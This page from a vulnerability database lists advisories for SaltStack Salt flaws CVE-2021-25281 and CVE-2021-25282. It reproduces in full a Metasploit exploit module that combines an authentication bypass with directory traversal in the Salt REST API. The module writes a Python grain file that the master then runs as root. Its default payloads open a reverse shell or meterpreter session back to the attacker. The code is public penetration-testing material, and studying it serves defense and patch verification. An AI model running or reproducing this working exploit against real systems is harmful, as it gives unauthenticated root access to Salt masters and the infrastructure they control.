| Reporter | Title | Published | Views | Family All 140 |
|---|---|---|---|---|
| SaltStack Salt API Unauthenticated Remote Command Execution Exploit | 2 Apr 202100:00 | – | zdt | |
| salt -- multiple vulnerabilities | 25 Feb 202100:00 | – | freebsd | |
| CVE-2021-25281 | 27 Feb 202100:00 | – | attackerkb | |
| CVE-2021-25281 | 27 Feb 202100:00 | – | alpinelinux | |
| CVE-2021-25282 | 27 Feb 202100:00 | – | alpinelinux | |
| [ASA-202102-33] salt: multiple issues | 27 Feb 202100:00 | – | archlinux | |
| Exploit for Improper Authentication in Saltstack Salt | 26 Feb 202112:08 | – | githubexploit | |
| CVE-2021-25281 | 26 Feb 202110:46 | – | circl | |
| CVE-2021-25282 | 26 Feb 202110:46 | – | circl | |
| Saltstack SaltStack Salt 路径遍历漏洞 | 26 Feb 202100:00 | – | cnnvd |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client',
'Description' => %q{
This module leverages an authentication bypass and directory
traversal vulnerabilities in Saltstack Salt's REST API to execute
commands remotely on the `master` as the root user.
Every 60 seconds, `salt-master` service performs a maintenance
process check that reloads and executes all the `grains` on the
`master`, including custom grain modules in the Extension Module
directory. So, this module simply creates a Python script at this
location and waits for it to be executed. The time interval is set to
60 seconds by default but can be changed in the `master`
configuration file with the `loop_interval` option. Note that, if an
administrator executes commands locally on the `master`, the
maintenance process check will also be performed.
It has been fixed in the following installation packages: 3002.5,
3001.6 and 3000.8.
Also, a patch is available for the following versions: 3002.2,
3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,
2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
2015.8.13 and 2015.8.10.
This module has been tested successfully against versions 3001.4,
3002 and 3002.2 on Ubuntu 18.04.
},
'Author' => [
'Alex Seymour', # Original PoC
'Christophe De La Fuente' # MSF Module
],
'References' => [
['CVE', '2021-25281'], # Auth bypass
['CVE', '2021-25282'], # Directory traversal
['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'],
['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py']
],
'DisclosureDate' => '2021-02-25',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default
'SSL' => true # Salt API uses HTTPS by default
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new(
'EXTMODSDIR',
[
true,
'The Extension Module Directory ("extmods")',
'/var/cache/salt/master/extmods'
]
)
])
end
def check
fun = 'config.values'
res = send_request(fun: fun)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
# Server: CherryPy/8.9.1
unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
return CheckCode::Unknown('Target does not appear to be running Salt API.')
end
if res.code == 200 && res.get_json_document['return']
res_json = res.get_json_document['return'].first
if res_json&.key?('tag') && res_json&.key?('jid')
return CheckCode::Detected('Salt API responded as expected.')
end
end
CheckCode::Safe('Unexpected Salt API response')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(background: true)
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
@rand_basename = rand_text_alphanumeric(4..12)
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py")
register_file_for_cleanup(path)
cmd.gsub!("'", "\\\\'")
data = <<~PYTHON
import subprocess
def #{rand_text_alpha(6..8)}():
subprocess.Popen('#{cmd}', shell=True)
return {}
PYTHON
send_request(data: data, path: path)
vprint_status(
"Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\
'to trigger the payload (WfsDelay option).'
)
end
def send_request(fun: 'pillar_roots.write', data: '', path: '')
# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
json = {
'eauth' => 'auto',
'client' => 'wheel_async',
'fun' => fun
}
json['data'] = data unless data.empty?
json['path'] = "../../../../../..#{path}" unless path.empty?
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run'),
'ctype' => 'application/json',
'data' => json.to_json
)
end
def path_exists?(session, path, is_dir: false)
if session.type == 'meterpreter'
path_exists = begin
session.fs.file.stat(path)
rescue StandardError
nil
end
if is_dir
return !!(path_exists && path_exists.directory?)
else
return !!(path_exists && path_exists.file?)
end
else
path_exists = session.shell_command_token(
"test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true"
)
return !!(path_exists && path_exists =~ /true/)
end
end
def on_new_session(session)
payload_instance.stop_handler
super
# The Python script is being cached in the "__pycache__" directory as a
# compiled bytecode file (.pyc). This will need to be deleted to avoid
# being executed over and over.
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__')
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
return unless path_exists?(session, path, is_dir: true)
files = begin
session.fs.dir.entries(path, "#{@rand_basename}*.pyc")
rescue StandardError
[]
end
files.each do |file|
file_path = normalize_uri(path, file)
next unless path_exists?(session, file_path)
session.fs.file.rm(file_path)
if path_exists?(session, file_path)
print_warning("Unable to delete #{file_path}")
else
print_good("Deleted #{file_path}")
end
end
else
return unless path_exists?(session, path, is_dir: true)
files = session.shell_command_token(
"find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\""
)
files.each_line do |file|
file.chomp!
next unless path_exists?(session, file)
session.shell_command_token("rm -f \"#{file}\" >/dev/null")
if path_exists?(session, file)
print_warning("Unable to delete #{file}")
else
print_good("Deleted #{file}")
end
end
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation